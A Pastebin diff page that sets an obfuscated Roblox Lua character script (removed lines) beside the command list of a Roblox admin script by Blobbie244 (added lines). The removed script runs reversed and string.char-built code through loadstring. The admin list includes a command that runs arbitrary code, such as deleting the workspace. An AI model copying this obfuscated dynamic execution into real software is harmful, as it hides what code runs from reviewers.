SHOW:
|
|
- or go back to the newest paste.
| 1 | - | findname = "mogoon" |
| 1 | + | --Version 2 1.02 I fixed some problems caused by the updates. Although it says Blobbie244 you can use commands. |
| 2 | - | script.Parent = game:GetService'Players':FindFirstChild(findname) ~= nil and game:GetService'Players':FindFirstChild(findname) |
| 2 | + | adminlist = {"COOLIO3535","",", , , , , , , , , ,"}--Add in the names of the people you want to be able to use the command script here.
|
| 3 | - | sn = table.concat({"SC","ythe"})
|
| 3 | + | --Please keep my name in there. ;) |
| 4 | - | spd = 0.125 -- (1/SPD) = FramesPerSecond:> |
| 4 | + | bannedlist = { "someoneyouhate","someoneyouhate"}--If you want someone not to be able to enter your place, put thier name in here.
|
| 5 | - | d = {75,100} -- dmg
|
| 5 | + | texture = ""--If you want someone wearing a certain t-shirt to be an admin, put the t-shirt's texture in here. |
| 6 | - | Decs={}
|
| 6 | + | |
| 7 | - | Decs.Totem = "35624068" |
| 7 | + | --[[ |
| 8 | - | Decs.Tornado = "1051557" |
| 8 | + | I update this command script alot, so if you want to get the newest version of the script, go to http://www.roblox.com/Item.aspx?ID=5277383 every once in a while. |
| 9 | - | Decs.SpikeBall = "9982590" |
| 9 | + | |
| 10 | - | Decs.Fist = "65322375" |
| 10 | + | If theres anything you think this command script needs, just message me (Blobbie244) and i might put it in. :) |
| 11 | - | Decs.RedCliffT = "49754754" |
| 11 | + | And also, if you find any bugs, report them to me. |
| 12 | - | Decs.RedCliff = "49754655" |
| 12 | + | |
| 13 | - | Decs.Chakram = "18430887" |
| 13 | + | The commands are, |
| 14 | - | Decs.Chakram2 = "47260990" |
| 14 | + | |
| 15 | - | Decs.Chakram3 = "19251107" |
| 15 | + | commands |
| 16 | - | Decs.Diamond = "9756362" |
| 16 | + | Shows a list of all the commands |
| 17 | - | Decs.Sword1 = "rbxasset://fonts/s" .. "word.mesh" |
| 17 | + | |
| 18 | - | Decs.EF1 = "64467174" |
| 18 | + | fix |
| 19 | - | Decs.TSkull1="36869975" |
| 19 | + | If the command script breaks for you, say this to fix it |
| 20 | - | Decs.Skull1="36869983" |
| 20 | + | |
| 21 | - | Decs.Shield1="60120613" Decs.Ring="3270017" Decs.Shine="48965808" Decs.Crack="49173398" Decs.Cloud="1095708" Decs.Spike="1033714" Decs.Rock="1290033" Decs.Crown="20329976" Decs.Crown2="1323306" |
| 21 | + | kill/Blobbie244 |
| 22 | - | Decs.SplinteredSkyT="50798688" Decs.SplinteredSky="50798664" |
| 22 | + | kills Blobbie244 |
| 23 | - | e = string.char p = game:service'Players' l = game:service'Lighting' w = workspace -- dirteh useless funkshuns bel0w |
| 23 | + | |
| 24 | - | w = wait wt = 0.1 s=script q = function(f) coroutine.resume(coroutine.create(function() f() end)) end |
| 24 | + | loopkill/Blobbie244 |
| 25 | - | loadstring(string.reverse([[ dar.htam=dr ip.htam=ip selgnA.emarFC=ac wen.emarFC=nc wen.2miDU=du wen.3roloC=3c wen.3rotceV=3v wen.ecnatsnI=ti]]))() |
| 25 | + | Repeatedly kills Blobbie244 when he respawns |
| 26 | - | --q(function() loadstring(string.reverse(workspace.CurrentCamera[e(84) ..e(119) ..e(105) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(127) ..e(108) ..e(105) ..e(103) ..e(104) ..e(116) ..e(83) ..e(112) ..e(97) ..e(114) ..e(107) ..e(108) ..e(101)].Value))() end) |
| 26 | + | |
| 27 | - | v310 = v3(1/0,1/0,1/0) bc=BrickColor.new ab=math.abs de=math.deg ts=tostring tn=tonumber ti=table.insert tr=table.remove cw=function(func) coroutine.resume(coroutine.create(function() func() end)) end |
| 27 | + | unloopkill/Blobbie244 |
| 28 | - | mf=math.floor sf=string.find sb=string.sub rn=math.random |
| 28 | + | Undos loopkill/ |
| 29 | - | function ft(tablez,item) for i=1,#tablez do if tablez[i] == item then return i end end return nil end |
| 29 | + | |
| 30 | - | qi = function(ttz) local qii = it(ttz[1],ttz[2]) table.foreach(ttz,function(oi,oi2) if oi ~= 1 and oi ~= 2 then qii[oi] = oi2 end end) return qii end |
| 30 | + | heal/Blobbie244 |
| 31 | - | function ft2(tablez,item) for i=1,#tablez do if tablez[i][1] == item then return i end end return nil end |
| 31 | + | Returns Blobbie244 to full health |
| 32 | - | function re(par,obj) if type(par) ~= "userdata" or type(obj) ~= "string" then return nil end if par:findFirstChild(obj) then par[obj]:Remove'' end end |
| 32 | + | |
| 33 | - | function pa(pa,pn,sh,x,y,z,c,a,tr,re,bc2) local fp=nil if sh ~= "Wedge" and sh ~= "CornerWedge" then fp=it("Part",pa) fp.Shape=sh fp.formFactor="Custom" elseif sh == "Wedge" then fp=it("WedgePart",pa) fp.formFactor="Custom"
|
| 33 | + | damage/Blobbie244/50 |
| 34 | - | elseif sh == "CornerWedge" then fp=it("CornerWedgePart",pa) end fp.Size=v3(x,y,z) fp.CanCollide=c fp.Anchored=false fp.BrickColor=bc(bc2) fp.Transparency=tr fp.Reflectance=re fp.BottomSurface=0 fp.Name=pn --fp.FrontSurface="Hinge"
|
| 34 | + | Makes Blobbie244's character take 50 damage |
| 35 | - | fp.TopSurface=0 fp:BreakJoints() fp.Anchored = a return fp end |
| 35 | + | |
| 36 | - | function clearit(tab) for xx=1,#tab do tab[xx]:Remove'' end end |
| 36 | + | health/Blobbie244/999999 |
| 37 | - | function weld(pa,p0,p1,x,y,z,a,b,c) local fw=it("Weld",pa) fw.Part0=p0 fw.Part1=p1 fw.C0=cn(x,y,z) *ca(a,b,c) return fw end
|
| 37 | + | Makes Blobbie244's MaxHealth and Health 999999 |
| 38 | - | function fade(prt,incr) q(function() for i=prt.Transparency,1,incr do prt.Transparency=i w() end prt:Remove'' end) end |
| 38 | + | |
| 39 | - | function appear(prt,incr) q(function() for i=1,0,-incr do prt.Transparency=i w() end end) end |
| 39 | + | kick/Blobbie244 |
| 40 | - | function stick(hit2,hit) local weld=it("Weld") weld.Part0=hit2 weld.Part1=hit local HitPos=hit2.Position local CJ=cn(HitPos)
|
| 40 | + | Removes Blobbie244 from the game, cannot be used by admin/ed people |
| 41 | - | local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C0 weld.C1=C1 weld.Parent=hit2 end |
| 41 | + | |
| 42 | - | function stick2(hit2,hit,tostick) local weld=it("Weld") weld.Part0=tostick weld.Part1=hit2 local HitPos=hit.Position local CJ=cn(HitPos) local C0=hit2.CFrame:inverse() *CJ local C1=hit.CFrame:inverse() * CJ weld.C0=C1 weld.C1=C0 weld.Parent=hit2 end
|
| 42 | + | ban/Blobbie244 |
| 43 | - | function invis(o) for i,v in pairs(o:children()) do if v:IsA("BasePart") then v.Transparency=1 end invis(v) end end
|
| 43 | + | Removes Blobbie244 from the game and keeps him from reenterring, cannot be used by admin/ed people |
| 44 | - | function newhats(p,o,o2) for i,v in pairs(p:children()) do if v:IsA("Hat") then v.Handle.Transparency = 1 local np=v.Handle:Clone'' np.Transparency=0 np.Mesh.Scale=np.Mesh.Scale*1.1 np.Parent=o np.CFrame=v.Handle.CFrame stick2(np,o2,o) end end end
|
| 44 | + | |
| 45 | - | function ray(Pos, Dir,xxz) local xxz2=c if xxz ~= nil then xxz2=nil end return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999),xxz2) end |
| 45 | + | bannedlist |
| 46 | - | function findclass(prt,cls) clases=0 for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then clases=clases + 1 end end return clases end |
| 46 | + | Shows a list of everyone banned |
| 47 | - | function getclass(prt,cls) for i,v in pairs(prt:children()) do if v.className:lower() == cls:lower() then return v end end return nil end |
| 47 | + | |
| 48 | - | function rtab(tabz,obj) for i=1,#tabz do if tabz[i] == obj then tr(tabz,i) break end end end |
| 48 | + | unban/Blobbie244 |
| 49 | - | function RandomPlayer(spiz) local torz=spis local torses={} for i,v in pairs(Serv.kx:children()) do if v ~= Serv.kx.LocalPlayer and v.Character ~= nil and v.Character:findFirstChild("Torso") then ti(torses,v.Character.Torso) end end if #torses > 0 then torz=torses[rn(1,#torses)] end return torz end
|
| 49 | + | Unbans Blobbie244 |
| 50 | - | function FDesDes(ob,str) for i,v in pairs(ob:children()) do if v.Name:lower() == str:lower() then return true end return FDesDes(v,str) end end |
| 50 | + | |
| 51 | - | deb = function(ob,it) game:service'Debris':AddItem(ob,it) end |
| 51 | + | explode/Blobbie244 |
| 52 | - | function RandomExplosionColor() colz={"New Yeller","Bright yellow","Neon orange","Deep orange","White","Bright red"} return colz[rn(1,#colz)] end
|
| 52 | + | Explodes Blobbie244's character |
| 53 | - | function findhum(anc) for i,vx in pairs(anc:children()) do if vx:IsA("Humanoid") then return vx end end return nil end
|
| 53 | + | |
| 54 | - | Lightning = function(p0,p1,tym,ofs,col,th,tra) -- start end times offset color thickness |
| 54 | + | rocket/Blobbie244 |
| 55 | - | local magz = (p0 - p1).magnitude local curpos = p0 local trz = {-ofs,ofs}
|
| 55 | + | Straps a rocket onto Blobbie244's back |
| 56 | - | for i=1,tym do |
| 56 | + | |
| 57 | - | local li = Instance.new("Part",workspace) li.TopSurface =0 li.BottomSurface = 0 li.Anchored = true li.Transparency = tra or 0.4 li.BrickColor = BrickColor.new(col)
|
| 57 | + | removetools/Blobbie244 |
| 58 | - | li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(th,th,magz/tym) local ofz = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)]) |
| 58 | + | Removes all of Blobbie244's tools. |
| 59 | - | local trolpos = CFrame.new(curpos,p1)*CFrame.new(0,0,magz/tym).p+ofz |
| 59 | + | |
| 60 | - | if tym == i then |
| 60 | + | givetools/Blobbie244 |
| 61 | - | local magz2 = (curpos - p1).magnitude li.Size = Vector3.new(th,th,magz2) |
| 61 | + | Gives Blobbie244 all the tools in StarterPack |
| 62 | - | li.CFrame = CFrame.new(curpos,p1)*CFrame.new(0,0,-magz2/2) |
| 62 | + | |
| 63 | - | else |
| 63 | + | givebtools/Blobbie244 |
| 64 | - | li.CFrame = CFrame.new(curpos,trolpos)*CFrame.new(0,0,magz/tym/2) |
| 64 | + | Gives Blobbie244 the building tools |
| 65 | ||
| 66 | - | curpos = li.CFrame*CFrame.new(0,0,magz/tym/2).p game.Debris:AddItem(li,0.25) |
| 66 | + | sit/Blobbie244 |
| 67 | Makes Blobbie244 sit | |
| 68 | ||
| 69 | - | function Trail(ob,times,waitz,col,thickz,ofz) q(function() local oldpos=(ob.CFrame *ofz).p for i=1,times do local obp=(ob.CFrame *ofz).p local mag=(oldpos - obp).magnitude local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true tr.CFrame=cn(oldpos,obp) tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2) |
| 69 | + | part/4/1/2 |
| 70 | - | local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz) q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp w(waitz) end end) end
|
| 70 | + | Makes a part with the given dimensions appear over your character |
| 71 | - | sTrail={}
|
| 71 | + | |
| 72 | - | function Trail2(lopz,ob,waitz,col,thickz,ofz) q(function() ti(sTrail,ob) |
| 72 | + | respawn/Blobbie244 |
| 73 | - | local oldpos=(ob.CFrame *ofz).p local lopz2=0 |
| 73 | + | Makes Blobbie244's character respawn without dying |
| 74 | - | local function loltr() local obp=(ob.CFrame *ofz).p lopz2=lopz2 + 1 |
| 74 | + | |
| 75 | - | local mag=(oldpos - obp).magnitude |
| 75 | + | jail/Blobbie244 |
| 76 | - | local tr=pa(ob,"trail","Block",0,0,0,false,false,0.5,0.15,col) tr.Anchored=true |
| 76 | + | Makes a lil jail cell around Blobbie244's character |
| 77 | - | tr.CFrame=cn(oldpos,obp) |
| 77 | + | |
| 78 | - | tr.CFrame=tr.CFrame + tr.CFrame.lookVector* (mag/2) |
| 78 | + | unjail/Blobbie244 |
| 79 | - | local trm=it("CylinderMesh",tr) trm.Scale=v3(5*thickz,mag*5,5*thickz)
|
| 79 | + | Undos jail/ |
| 80 | - | q(function() for i=5*thickz,0,-5*thickz/10 do trm.Scale=v3(i,mag*5,i) w() end tr:Remove'' end) |
| 80 | + | |
| 81 | - | tr.CFrame=tr.CFrame *ca(rd(90),0,0) oldpos=obp end |
| 81 | + | punish/Blobbie244 |
| 82 | - | repeat loltr() |
| 82 | + | Puts Blobbie244's character in game.Lighting |
| 83 | - | w(waitz) until ft(sTrail,ob) == nil or lopz2 == lopz loltr() end) end |
| 83 | + | |
| 84 | - | asset="http://www.roblox.com/asset/?id=" |
| 84 | + | unpunish/Blobbie244 |
| 85 | - | table.foreach(Decs,function(a,b) if b:sub(1,3) ~= "rbx" then game:service'ContentProvider':Preload(Decs[a]) Decs[a] = asset .. Decs[a] game:service'ContentProvider':Preload(Decs[a]) end end) |
| 85 | + | Undos punish/ |
| 86 | - | a={}
|
| 86 | + | |
| 87 | - | a.ClickHold=0 |
| 87 | + | merge/Blobbie244/Farvei |
| 88 | - | a.c=true -- weapon change or act debounce |
| 88 | + | Makes Blobbie244 control Farvei's character |
| 89 | - | a.s={}
|
| 89 | + | |
| 90 | - | a.cr={20,1.5}
|
| 90 | + | teleport/Blobbie244/nccvoyager |
| 91 | - | ky = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"," "}
|
| 91 | + | Teleports Blobbie244's character to nccvoyager's character |
| 92 | - | Anim = "None" |
| 92 | + | |
| 93 | - | mouse = nil |
| 93 | + | control/Blobbie244 |
| 94 | - | Sounds={
|
| 94 | + | Makes you control Blobbie244's character |
| 95 | - | Break="3264793"; |
| 95 | + | |
| 96 | - | Berserk="2676305"; |
| 96 | + | change/Blobbie244/Money/999999 |
| 97 | - | Fire1="2760979"; |
| 97 | + | Makes the Money value in Blobbie244's leaderstats 999999 |
| 98 | - | Imbue="2785493"; |
| 98 | + | |
| 99 | - | Ghost="3264923"; |
| 99 | + | tools |
| 100 | - | Block="rbxasset://sounds\\metal.ogg"; |
| 100 | + | Gives you a list of all the tools available to be give/en, the tool must be in game.Lighting |
| 101 | - | Boom="16976189"; |
| 101 | + | |
| 102 | - | SniperFire="1369158"; |
| 102 | + | give/Blobbie244/Tool |
| 103 | - | ShotgunFire2="1868836"; |
| 103 | + | Give's Blobbie244 a tool, the toolname can be abbreviated |
| 104 | - | MinigunFire="2692806"; |
| 104 | + | |
| 105 | - | MinigunCharge="2692844"; |
| 105 | + | time/15.30 |
| 106 | - | MinigunDischarge="1753007"; |
| 106 | + | Makes game.Lighting.TimeOfDay 15:30 |
| 107 | - | Flashbang="16976189"; |
| 107 | + | |
| 108 | - | Beep="15666462"; |
| 108 | + | ambient/255/0/0 |
| 109 | - | Smash="2801263"; |
| 109 | + | Makes game.Lighting.Ambient 255,0,0 |
| 110 | - | Punch="31173820"; |
| 110 | + | |
| 111 | - | Slash="rbxasset://sounds/swordslash.wav"; |
| 111 | + | maxplayers/20 |
| 112 | - | Falcon="1387390"; |
| 112 | + | Makes game.Players.MaxPlayers 20 |
| 113 | - | Cast="2101137"; |
| 113 | + | |
| 114 | - | Spin="1369159"; |
| 114 | + | nograv/Blobbie244 |
| 115 | - | Abscond="2767090"; |
| 115 | + | Makes Blobbie244 almost weightless |
| 116 | - | ElectricalCharge="2800815"; |
| 116 | + | |
| 117 | - | FireExplosion="3264793"; |
| 117 | + | antigrav/Blobbie244 |
| 118 | - | SaberLightUp="10209303"; |
| 118 | + | Gives Blobbie244 antigravity properties |
| 119 | - | SaberSlash="10209280"; |
| 119 | + | |
| 120 | - | SaberHit="44463749"; |
| 120 | + | grav/Blobbie244 |
| 121 | - | EnergyBlast="10209268"; |
| 121 | + | Returns Blobbie244's gravity to normal |
| 122 | - | Lunge="rbxasset://sounds/swordlunge.wav"; |
| 122 | + | |
| 123 | - | Unsheath="rbxasset://sounds/unsheath.wav"; |
| 123 | + | highgrav/Blobbie244 |
| 124 | - | } |
| 124 | + | Makes Blobbie244 heavier |
| 125 | - | wss = 16 |
| 125 | + | |
| 126 | - | caw = true |
| 126 | + | setgrav/Blobbie244/-196 |
| 127 | - | pl = p.LocalPlayer |
| 127 | + | Sets Blobbie244's gravity |
| 128 | - | bp = pl.Backpack |
| 128 | + | |
| 129 | - | pg = pl.PlayerGui |
| 129 | + | trip/Blobbie244 |
| 130 | - | c = pl.Character |
| 130 | + | Makes Blobbie244's character trip |
| 131 | - | to = c.Torso |
| 131 | + | |
| 132 | - | he = c.Head he.face.Face = "Bottom" |
| 132 | + | walkspeed/Blobbie244/99 |
| 133 | - | hu =c.Humanoid |
| 133 | + | Makes Blobbie244's character's humanoid's WalkSpeed 99, 16 is average |
| 134 | - | q(function() bp[sn]:Remove() end) |
| 134 | + | |
| 135 | - | local su = it("Model",c) su.Name = "Suit1"
|
| 135 | + | invisible/Blobbie244 |
| 136 | - | cl = "className" local caram = "CharacterMesh" |
| 136 | + | Makes Blobbie244's character invisible |
| 137 | - | for i,v in pairs(to:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]=="CharacterMesh" then v:Remove() end end |
| 137 | + | |
| 138 | - | for i,v in pairs(c:children()) do if v[cl]=="BodyGyro" or v[cl]=="BodyPosition" or v[cl]=="Hat" or v[cl]==caram then v:Remove() end end |
| 138 | + | visible/Blobbie244 |
| 139 | - | pcall(function() c.Block:Remove() end) |
| 139 | + | Undos invisible/ |
| 140 | - | local block = qi({"BoolValue",c,Value=false,Name="Block"})
|
| 140 | + | |
| 141 | - | local hd=he:Clone'' |
| 141 | + | freeze/Blobbie244 |
| 142 | - | to.Transparency = 1 |
| 142 | + | Makes Blobbie244's character unable to move |
| 143 | - | he.Transparency = 1 |
| 143 | + | |
| 144 | - | a.Bodyas=0 |
| 144 | + | thaw/Blobbie244 |
| 145 | - | a.insw={}
|
| 145 | + | Undos freeze/ |
| 146 | - | function cleanweld(wexx,namzi) local tn=ft2(a.insw,wexx) if tn==nil then return end |
| 146 | + | |
| 147 | - | if namzi=="p0" then |
| 147 | + | unlock/Blobbie244 |
| 148 | - | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=0,0,0 elseif namzi=="p1" then |
| 148 | + | Makes Blobbie244's character unlocked |
| 149 | - | a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=0,0,0 elseif namzi=="a0" then |
| 149 | + | |
| 150 | - | a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=0,0,0 elseif namzi=="a1" then |
| 150 | + | lock/Blobbie244 |
| 151 | - | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=0,0,0 |
| 151 | + | Makes Blobbie244's character locked |
| 152 | ||
| 153 | ff/Blobbie244 | |
| 154 | - | function ws(ii) |
| 154 | + | Gives Blobbie244's character a ForceField |
| 155 | - | wss = ii |
| 155 | + | |
| 156 | unff/Blobbie244 | |
| 157 | - | function c2(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) q(function() c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) end) end |
| 157 | + | Undos ff/ |
| 158 | - | a.Welding=0 function c1(wexx,smmx,c0orc1,aa,bb,cc,xx,yy,zz,fu) |
| 158 | + | |
| 159 | - | if ft2(a.insw,wexx)==nil then ti(a.insw,{wexx,{}}) local tn=ft2(a.insw,wexx)
|
| 159 | + | sparkles/Blobbie244 |
| 160 | - | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=wexx.C0.x,wexx.C0.y,wexx.C0.z |
| 160 | + | Makes Blobbie244's character sparkly |
| 161 | - | a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=wexx.C1.x,wexx.C1.y,wexx.C1.z |
| 161 | + | |
| 162 | - | a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=wexx.C0:toEulerAnglesXYZ() |
| 162 | + | unsparkles/Blobbie244 |
| 163 | - | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=wexx.C1:toEulerAnglesXYZ() end local tn=ft2(a.insw,wexx) |
| 163 | + | Undos Blobbie244/ |
| 164 | - | local xx2,yy2,zz2=0,0,0 local x2,y2,z2=0,0,0 if c0orc1==0 then |
| 164 | + | |
| 165 | - | xx2,yy2,zz2=a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"] x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] elseif c0orc1==1 then xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] x2,y2,z2=a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"] else xx2,yy2,zz2=a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"] |
| 165 | + | shield/Blobbie244 |
| 166 | - | x2,y2,z2=a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"] end a.Welding=a.Welding + 1 local twa=1 if smmx >= 1 then else |
| 166 | + | Makes a destructive shield thingy appear around Blobbie244 |
| 167 | - | for i=smmx,0.8,smmx do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then |
| 167 | + | |
| 168 | - | wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) |
| 168 | + | unshield/Blobbie244 |
| 169 | - | wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end |
| 169 | + | Undos shield/ |
| 170 | - | for i=0.8,1,smmx*0.45 do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then |
| 170 | + | |
| 171 | - | wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) |
| 171 | + | god/Blobbie244 |
| 172 | - | wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end |
| 172 | + | Makes Blobbie244 godish |
| 173 | ||
| 174 | - | local i=1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) |
| 174 | + | ungod/Blobbie244 |
| 175 | - | else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) end a.Welding=a.Welding - 1 local tn=ft2(a.insw,wexx) |
| 175 | + | Undos god/ |
| 176 | - | if c0orc1==0 then |
| 176 | + | |
| 177 | - | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i) |
| 177 | + | zombify/Blobbie244 |
| 178 | - | a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i) |
| 178 | + | Makes Blobbie244 an infecting zombie |
| 179 | - | elseif c0orc1==1 then |
| 179 | + | |
| 180 | - | a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i) |
| 180 | + | admin/ |
| 181 | - | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i) |
| 181 | + | Makes Blobbie244 able to use the command script, cannot be used by admin/ed people |
| 182 | - | elseif c0orc1==3 then |
| 182 | + | |
| 183 | - | local x,y,z=wexx.C0.x,wexx.C0.y,wexx.C0.z |
| 183 | + | adminlist |
| 184 | - | a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i) |
| 184 | + | Shows a list of everyone in the adminlist |
| 185 | - | local x,y,z=wexx.C1:toEulerAnglesXYZ() |
| 185 | + | |
| 186 | - | a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i) |
| 186 | + | unadmin/Blobbie244 |
| 187 | Undos admin/, cannot be used by admin/ed people | |
| 188 | - | to["Left Hip"].Part0=to to["Right Hip"].Part0=to to["Left Shoulder"].Part0=to to["Right Shoulder"].Part0=to |
| 188 | + | |
| 189 | - | --"http://www.roblox.com/asset?id=67168288" |
| 189 | + | shutdown |
| 190 | - | tk = true |
| 190 | + | Shuts the server down, cannot be used by admin/ed people |
| 191 | - | p={}
|
| 191 | + | |
| 192 | - | t=pa(su,"Torso","Block",1.99,1.99,1,false,false,0,0,ts(to.BrickColor)) |
| 192 | + | m/Fallout 2 is one of the best games ever made |
| 193 | - | la=pa(su,"Left Arm","Block",0,0,0,false,false,0,0,ts(c["Left Arm"].BrickColor)) law=weld(la,t,la,-1.5,1,0,0,0,0) |
| 193 | + | Makes a message appear on the screen saying "Fallout 2 is one of the best games ever made" for 2 seconds |
| 194 | - | ra=pa(su,"Right Arm","Block",0,0,0,false,false,0,0,ts(c["Right Arm"].BrickColor)) raw=weld(ra,t,ra,1.5,1,0,0,0,0) |
| 194 | + | |
| 195 | - | ll=pa(su,"Left Leg","Block",0,0,0,false,false,0,0,ts(c["Left Leg"].BrickColor)) llw=weld(ll,t,ll,-0.5,-1,0,0,0,0) |
| 195 | + | h/i like pie |
| 196 | - | rl=pa(su,"Right Leg","Block",0,0,0,false,false,0,0,ts(c["Right Leg"].BrickColor)) rlw=weld(rl,t,rl,0.5,-1,0,0,0,0) |
| 196 | + | Makes a hint appear on the screen saying "i like pie" for 2 seconds |
| 197 | - | local hd2 = hd:Clone() |
| 197 | + | |
| 198 | - | hd2.Parent = su |
| 198 | + | c/ game.Workspace:remove() |
| 199 | - | hd2.Transparency = 0 |
| 199 | + | Makes a script which source is whats after c/ |
| 200 | - | hd2.face.Face = "Front" |
| 200 | + | |
| 201 | - | hd2.Name = "FakeHead" |
| 201 | + | clear |
| 202 | - | hd2.Mesh.MeshId="http://www.roblox.com/asset/?id=21057410" |
| 202 | + | Removes all scripts created by c/ and removes all jails. |
| 203 | - | hd2.Mesh.TextureId="http://www.roblox.com/asset/?id=21057378" |
| 203 | + | |
| 204 | - | hw=weld(hd2,t,hd2,0,1.5,0,0,0,0) |
| 204 | + | Capitalisation doesnt matter, and name input can be abbreviated. |
| 205 | - | hd.Name = "Head" hd.Parent=su hd.Transparency=1 hd.face:Remove() hw2=weld(hd,t,hd,0,1.5,0,0,0,0) |
| 205 | + | Just about any name input can be replaced with multiple names seperated by ","s, me, all, others, guests, admins, nonadmins, random, or team teamname. |
| 206 | - | tw=weld(t,to,t,0,0,0,0,0,0) |
| 206 | + | |
| 207 | - | local fhu = it("Humanoid",su) fhu.MaxHealth = 1/0 fhu.PlatformStand = true fhu.Name = ""
|
| 207 | + | --]] |
